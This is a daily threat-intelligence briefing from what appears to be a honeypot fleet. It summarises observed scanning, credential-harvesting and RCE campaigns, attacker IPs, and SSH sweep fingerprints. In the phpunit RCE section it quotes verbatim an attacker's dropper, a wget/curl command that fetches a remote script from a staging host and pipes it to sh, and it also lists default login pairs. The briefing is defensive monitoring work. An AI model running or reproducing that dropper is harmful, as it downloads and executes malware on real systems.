FLUX FLEET — INTEL BRIEFING №30

Period: 2026-09-23 07:33 – 2026-09-24 07:34 UTC (24h, day 29 of operations)
Sources: 7 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (Middle East), ru-edge-1 (Russia), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation; 29-day baseline; every result-tag spike traced to a source by spot query)

BLUF

Zero AWS use extended to a seventh consecutive window, and the mint side stayed busy: the canary section counted 61 credentials from 31 collector IPs, none converted. MEGA-DICTIONARY ran an eighth replay on frantech-ts — new host 185.213.155.227 (31173 Services AB, the same ASN as №29's replay host) — and the wordlist grew for the second replay in a row: +55 first-ever paths on a 13,134/13,134 overlap with №29's set. LIBREDTAIL-KIT returned after one idle window with 12 run IPs across 6 nodes; the dropper captured 13/13 to the unchanged staging host 217.60.103.56 (sh -s apache). CONFIG-SWEEP's named operator 87.120.104.29 returned after three idle days and minted 6 credentials on ru-edge in a 9-minute run. OMEGA-SWEEP's /46 block ran one census (94.154.46.247, control-1, 1,050 events) and minted 6 — the mint-without-burst regime from №29 continues. At the network layer, LIBSSH-MASSSWEEP stayed flagged (330 IPs / 174 networks) and the standing single-source clients 0a07365cc01f… (26,044 sessions) and 16443846184e… (7,248) are unchanged background.

Key Judgements

1. MEGA-DICTIONARY is iterating the shared manifest again, and the +55 delta is two fresh build families plus arm completes. 185.213.155.227 replayed 13,189 distinct paths against frantech-ts in roughly two minutes at 01:12–01:14 UTC 09-24 (13,191 GETs, all not-handled, 0 mints). Anti-join against all prior frantech history gives 13,134 overlap + 55 first-ever; anti-join against №29's replay host 185.209.196.130 gives 13,134/13,134 overlap — perfect superset, zero dropped. The fresh paths: /qzxuuppn.* ×22 architectures, the /nsh* + /nshk* families ×8 (/nsharm5, /nshkarm6, /nshkmips…), /main.armv4l–armv7l ×4, /mirai.arm7hf, /bot.arm7n, /bot.aarch64_be, /bot.x86-64, and /stub.* arm/586 completes. The №29 eight random 8-char stems contributed 0 rows. (High confidence — anti-join is deterministic; path lists fully captured.)
2. CONFIG-SWEEP's operator has upgraded from census to minting. 87.120.104.29 (Sino Worldwide Trading Limited, NO) returned after a 3-day gap (last seen 09-20) and ran a 1,650-event / 1,642-path run on ru-edge in a single burst (18:05 UTC, 121 trap families), all under one forged Googlebot/2.1 UA: env-production ×186, webshell-probe ×39, ssh-private-key ×27, fake-git ×17, and issued ×6 — its first observed mints across the fleet record. /install.sh and /.env.release are first-seen paths on the node inside this run. (High confidence — the 6×issued rows sit inside the same 18:05-minute window as the census.)
3. The OMEGA /46 block's mint output recovered partly: 6 mints from .247's census, but the census-without-burst pattern persists. 94.154.46.247 ran 1,050 events / 1,042 paths on control-1 in one minute at 05:25 UTC — the byte-identical 743-path-family template — with 6 credentials minted inside the run. The pool IPs (94.154.43.x, 3 touches, 1 mint) still do single-request passes. No mint failures trace to OMEGA this window; the block's 28-family census continues to find credentials at a steady rate under a lower-volume reward model. (High confidence — event-level join of the census run to the issued rows.)
4. The XFF forgery counter returned to near-zero: 3 rows, 2 semantically explained, 1 consolidated-benign. The window's single-entry mismatch rows: 2× from 162.243.83.227 (a method-fingerprint sweep asserting 1.2.3.4 twice on / — a hammering method probe, not attribution laundering at volume), and 1× the registered benign metabase-cve-2026-72898-detect/1.0 probe. The №29 .87 forged-identity wave did not return. (High confidence — xffPeerMismatch + socketPeer grouping on v_full.)

Active Campaigns (day 29 status)

MEGA-DICTIONARY (IoT dropper-URL dictionary replay) ⟳ — EIGHTH REPLAY, SECOND GROWTH (Hostile, active)

• Actors: 185.213.155.227 (31173 Services AB, DE — same ASN as №29's 185.209.196.130; first appearance by this host). Prior hosts: 23.234.119.20 (tzulo US), 155.2.191.165 (Host Universal AU), 169.150.201.29 (Datacamp DE), 138.199.6.195 (Datapacket CH), 138.199.60.29 (Datapacket CH), 138.199.60.16 (Datacamp SG), 185.209.196.130 (31173 Services AB).
• TTPs: 13,191 GETs / 13,189 paths in 1m58s (01:12–01:14 UTC 09-24), 13,186×404 not-handled, 0 mints; standard 208-IoT-UA rotation (TP-Link Archer, D-Link DIR, ZTE H108N, UniFi Dream Machine, DD-WRT, Phicomm K3C, Netis, Synology-Download-Station…). Wordlist: full superset of №29's 13,134-path set with +55 new paths — the two consecutive growth events now span three operators (31173 Services, Datacamp, tzulo) and one shared artifact.
• Assessment: the manifest has now changed hands twice with version bumps in two replays. The random 8-char stems of №29 contributed nothing this run; the fresh families are complete-build drops (/qzxuuppn.* 22 archs, /nsh*//nshk* 8 archs). The version tracker stands: anti-join every replay against the registered prior set.

CONFIG-SWEEP (Googlebot-forged census, minting) ⟳ — OPERATOR UPGRADED TO MINT COLLECTOR ⚠ (Hostile, active)

• Actors: 87.120.104.29 (Sino Worldwide Trading Limited, NO-as-registered; the control-1 CONFIG-SWEEP operator from №9). First run since 09-20, first mints ever.
• TTPs: 1,650 events / 1,642 paths / 121 trap families in one burst on ru-edge (18:05 UTC), single forged Googlebot/2.1 UA throughout; hit profile: env-production 186, wp-config 19, ssh-private-key 27, k8s-secret-manifest 11, terraform-tfstate 9, backup-archive 11, webshell-probe 39, phpmyadmin-login 11; minted 6 at /.env-class paths; drove ru-edge's phpmyadmin-login 11.6× and phpmyadmin-credential-post 4.2× result-tag spikes.
• Assessment: the no-canary node disguise (fresh-IP, certless ru-edge) is doing its job — this actor hit a 121-family census against the newest node in the fleet. The first-observed mint batch means the operator is no longer purely reconnaissance: its word list now reaches /.env on a node that was live 4 days. Watch for a second mint run on a canary-bearing node.

LIBREDTAIL-KIT (phpunit RCE chain) ⟳ — RETURNED AFTER ONE IDLE WINDOW (Hostile, active)

• Actors: 10 full-kit IPs (39 ev each, all libredtail-http UA) + 3 fragments (2 ev each, 39.109.116.214 sponge, 69.12.176.117 sponge, 103.100.211.183 frantech) across 6 nodes: 20.244.28.141 (Azure Sponge), 43.155.202.36 (Tencent HK Sponge), 37.120.213.13 (netcup), 87.192.253.110 (netcup), 160.250.132.238 (control), 144.225.187.181 (farm), 124.158.13.231 (farm), 129.121.128.211 (aidev), 61.143.237.107 (aidev), 144.91.78.83 (farm). Spaced 08:47–00:00 UTC through the window.

• TTPs: the md5("Hello PHPUnit") probe across 20+ eval-stdin.php permutations → 2× POST /index.php with shell_exec(base64_decode(...)) writing an ed25519 private key → POST /bin/sh dropper. Dropper bodyPreview captured verbatim from all 13 runs:

  (wget --no-check-certificate -qO- https://217.60.103.56/sh || curl -sk https://217.60.103.56/sh) | sh -s apache

  Staging host unchanged across all 15 windows on record; apache argument unchanged since №17.

• Assessment: the fleet's most persistent RCE campaign, 15 of 16 windows active. Fleet tarpit + fake-webshell design held: every run verified as not-handled/tarpit, no fake-shell leak. The staging host 217.60.103.56 stayed stable through 5 windows — a standing block candidate.

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ — LARGEST WAVE SINCE №22 (Borderline, active)

• Actors: 29 l9scan-family IPs across 6 nodes (deception-only + canary two), 1,444 events + 29 distinct client IPs; 41-event full-kit runners on ai-devbox-1 and canary-farm-1; 39-event fragments. Named repeat: 139.59.143.102 (82 ev across 2 nodes — depths from both). DigitalOcean and parts of its ecosystem.
• TTPs: the 12-step WebLogic → Confluence → WHM/cPanel → docker-registry census, now including /v2/internal/auth-service/tags/list and manifests/latest; /graphql introspection probes ride the tail on canary-bearing nodes.
• Assessment: leak-service shape (Public LeakIX scanning); borderline per registry — report activity, do not lump with criminal actors. The docker-registry-manifest/tags 3.2× result-tag spikes on ai-devbox-1 + canary-farm-1 and the graphql-introspection 3.2×/3.5× spikes are entirely this wave.

TOKEN-CRAWLER (frantech /c/ random-token crawler) ⟳ — RETURNED WITH 7 IPs (Hostile, active)

• Actors: 45.198.224.230–.239 (7 IPs of the /24 in-window: .230, .231, .232, .233, .234, .235, .239) on frantech-ts; + IP pool touches: 45.198.224.188 hit all 7 nodes once each with a bare / tarpit-module stamp.
• TTPs: /c/<100-char random token> GETs on frantech-ts, all not-handled, all results not-handled, 0 mints, 0 POSTs; all 4 vanity Host headers in rotation (we-love-the.world, bunnyfeet.baby, tls.bunnyfeet.baby, make-internet-safer-for-the.world); single forged Chrome/114 UA per IP; fresh tokens per pass defeat path-blocking in the same pass, by design.
• Assessment: back after №29's first absence. The /24 remains the correlation key; nothing minted, so the crawl stays in staging. Promote from watch to campaign on a run that mints or POSTs (same trigger the registry added at №28).

Standing actors (persistence check)

• 204.76.203.18 (Pfcloud UG NL, MALWARE-DICT loop) — 18th consecutive window. 2,160 events / 579 paths / 2 result families on control-1, spread across the full window (byte-identical to №13–29's shape). 579 paths is a small shrink from recent counts — the replay periodically prunes; wordlist change is worth tracking on the next clean byte-identical comparison.
• 213.209.159.175 (Feo Prest DE) — 18th consecutive window: 295 events / 257 paths on control-1 and 95 events / 40 paths on canary-farm-1; 13 mints in-window per issued rows (58 in the 6-day pull per the canary section — the fleet's top persistent collector).
• 80.94.95.211 (SS-Net RO, SS-NET TOOLING) — 14th window of the last 16: 42 events on ai-devbox-1 in a 14-second burst at 01:48 UTC, 3 mints (24 across the 6-day pull). Wordlist-sharing with Feo Prest .175 still holds per the №22 observation.
• 89.248.172.33 / 89.248.171.24 / 93.174.93.12 (uptime-prober trio, benign-shape) — present at 26–54 events per node across 5–7 nodes; unchanged.
• 185.73.23.162 (Ruhr-Uni Bochum, benign research) — 5,037 events on netcup-ts and 2,767 on sponge-01-ts this window (prior window 2,767 combined). The ~7,800-event count is this scanner's /-only probe passing through both nodes; it is the majority of both nodes' netcup/sponge +7.2×/4.7× tarpit-module result-tag spikes. Honest self-labeled UA.

Network-layer recon (Arkime)

Network-layer recon (Arkime) — 2026-09-23 07:33:00 → 2026-09-24 07:34:23 UTC

Fingerprint field ssh.hassh, destination port 22 · 126,686 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 89,459, frantech-ts 60,075, sensor:frantech-ts 60,075, contabo-sponge-02-ts 24,904, proxy 24,904, sensor:contabo-sponge-02-ts 24,904

Flagged sweeps (1) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 5,932 sessions from 330 source IPs across 174 networks in 59 countries, port 22, avg 4,966 B/session. Networks: AS8075 Microsoft Corporation, AS4766 Korea Telecom, AS14061 DigitalOcean, LLC, AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS7922 Comcast Cable Communications, LLC. Busiest sources: 158.51.126.147, 103.165.206.238, 180.93.172.213, 96.78.175.36, 172.191.239.155. Last 7 days: 09-18 147 IPs, 09-19 328 IPs, 09-20 327 IPs, 09-21 373 IPs, 09-22 297 IPs, 09-23 351 IPs, 09-24 105 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Network-layer notes

• LIBSSH-MASSSWEEP sustained its post-09-19 plateau: 330 IPs / 174 networks / 5,932 sessions. The 09-24 daily count (105) is partial-window censoring, not a trend. Continuous since 09-09, 5 days of registered coverage.
• GO-SPRAY-SWEEP (06ff3615a51b…, SSH-2.0-go) missed the ≥5-session floor for the second consecutive window → status upgrade to paused now stands; the №28 136-IP burst stays the reference. Two misses after the №28 threshold crossing settle it per the registry convention.
• GO-BANNER-SWEEP (594c5787…) also absent at the ≥5-session floor for a second consecutive window, after its №28 pause register: paused now stands.
• Single-source shape persists across the standing clients 0a07365cc01f… (26,044 sessions / 38 IPs across 15 networks — the fleet's heaviest network-layer load) and 16443846184e… (7,248 / 31). Both remain below the dispersed thresholds and unregistered; characterisation is still deferred to a briefing that can distinguish them.
• New below-threshold banners: ssh-2.0-openssh_9.6p1 ubuntu-3ubuntu13.12 (99 sessions / 1 IP), ssh-2.0-asyncssh_2.1.0 (47 / 1), ssh-2.0-libssh_0.9.6 small-cluster sibling (9 / 1). Single-source shapes, no registration.

Fleet Observations

• Mint economics: 68 canary events; the canary section counted 61 credentials / 31 collectors, none used. Digest section (24h) counts 69 issued-straddle rows / 73 with cast boundary. Failures: 23×400 (mint-health: aidev 11, farm 9, control 3, ru-edge 0) — all burst-speed rejections inside census runs, not key defects; ru-edge stayed clean this window (the .87 forger was absent).
• Zero AWS use, seventh consecutive window. Hoard is now roughly 700+ all-time minted credentials across the 6-day persistent pull and ~391 named-collector credentials standing (58 Feo Prest .175 + 24 SS-Net + 24 94.154.46.x pools + 20 31.57.219.158 + …).

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

Funnel: 543 sources sent credentials → 424 got a shell (78%) → 267 ran a command (63% of shell-getters, 49% of sources). Event level: 15,538 credential attempts → 7,954 accepted logins → 10,733 commands — 135% of accepted logins go on to run something, so operators keep working the boxes.

Fifth consecutive fully static window: zero new commands (0 of 96 distinct), zero new credential pairs (0 of 5,859). Telnet commodity botnets: 707 attempts. Top pairs unchanged: 345gs5662d34 (1,291 attempts), root/3245gs5662d34 (970); the long tail is the usual support/support (67), root/123456 (64), pi/raspberry (56). Recurring command families hold: the uname-inventory cluster (3,710 ev from 7 IPs), the chattr -ia .ssh re-plant family (1,323 ev / 245 IPs), and the 62.171.133.1 / 195.178.110.217 recon-export pair (116 ev each). No first-seen command exists to quote — the fleet's post-compromise visibility stays dark.

Gaps / Next Collection

1. The /46 block's mint-without-burst regime. №29 saw 3 mints, this window 6 — the census continues at reduced reward. Watch whether .247 repeats the byte-identical run and whether a new pool IP re-joins with a burst mint pattern; if the block stays under 10 mints for three more windows, the census has moved to collection-by-proxy and the one-off collectors (17 of 31 were first-ever in №29) are the mint side.
2. CONFIG-SWEEP's mint cadence. 87.120.104.29 minted 6 in its first-ever minting run. A second run with mints upgrades CONFIG-SWEEP from census-only to mint collector and adds the 1,642-path wordlist to the census family list.
3. TOKEN-CRAWLER scale-up tracking. Seven /24 IPs ran this window (up from 6 at registration) with no mints and no POSTs. Correlate on /24; register on the first run that mints or POSTs.
4. Result-tag spike attribution is complete, but the ru-edge phpmyadmin shapes are single-actor artifacts. The 11.6× phpmyadmin-login and 4.2× phpmyadmin-credential-post spikes trace entirely to 87.120.104.29's census (402 events, one path, root vs a rotating rockyou-style password list quoted above in Key Judgement 2's TTPs).
5. The single-source ssh-fingerprint background (26,044 + 7,248 sessions, 38 + 31 IPs). Before characterising: correlate each against the fleet ssh-honeypot accepted logins. If 0a07365cc01f… is the ssh-brute background and 16443846184e… is a rescan service, both are benign and stay unregistered; otherwise register both next cycle.

Digest: /data/flux-logs/reports/flux-digest-2026-09-24.md
Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-09-24-r2.html

Watch next cycle: (1) MEGA-DICTIONARY's +55 delta — the 13,189-path set became the anti-join baseline on 2026-09-24; watch whether manta/sever1078/nokillbins return and whether the №29 random stems stay gone. (2) CONFIG-SWEEP mint cadence — 87.120.104.29 minted for the first time in this window; a second mint run triggers the promotion. (3) LIBREDTAIL-KIT's staging host — 217.60.103.56 stayed unchanged across 5+ windows; a block candidate.